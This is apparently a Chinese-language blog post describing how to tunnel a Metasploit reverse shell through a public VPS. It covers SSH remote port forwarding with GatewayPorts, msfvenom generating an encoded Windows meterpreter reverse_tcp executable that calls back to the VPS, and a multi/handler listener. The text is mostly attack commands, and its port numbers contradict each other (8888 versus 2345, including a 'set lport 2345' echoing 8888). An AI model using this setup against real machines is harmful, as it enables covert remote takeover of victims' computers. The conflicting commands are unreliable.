z0nek

关于我

公网的VPS上没有msf的话,我们可以利用ssh隧道的端口转发功能,来使用本地的msf。

这里首先需要配置VPS ssh服务
编辑 /etc/ssh/sshd_config
在文件最后添加:

  1. GatewayPorts yes

  • GatewayPorts是否允许远程主机连接本地的转发端口.默认值是”no”.

  • sshd 默认将远程端口转发绑定到loopback地址.这样将阻止其它远程主机连接到转发端口。

  • GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。

首先在本地执行

  1. ssh -qTfnN -R 2345:172.16.100.128:2345 root@172.16.100.134
    转发本地的2345端口到172.16.100.134的2345端口。

  2. 来查看一下172.16.100.134的连接
    [root@PC]# netstat -anlp | grep 2345
    tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 83417/sshd
    发现2345端口是监听在0.0.0.0的,而如果没有GatewayPorts no的话则是监听在127.0.0.1的,仅允许本地连接。


之后配置msf客户端:

  1. [root@PC]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5-b ‘\x00’ LHOST=[vpsIP] LPORT=8888-f exe > abc.exe

之后本地启用监听:

  1. msf >use exploit/multi/handler

  2. msf exploit(handler)>set payload windows/meterpreter/reverse_tcp

  3. payload => windows/meterpreter/reverse_tcp

  4. msf exploit(handler)>set lhost 172.16.100.128

  5. lhost =>172.16.100.128

  6. msf exploit(handler)>set lport 2345

  7. lport =>8888

  8. msf exploit(handler)>set exitonsession false

  9. exitonsession =>false

  10. msf exploit(handler)> exploit -j

  11. [*]Exploit running as background job.

  12. [*]Started reverse TCP handler on 172.16.100.128:2345

客户端被执行以后,成功返回回话:


标签:metasploit

评论
© z0nek | Powered by LOFTER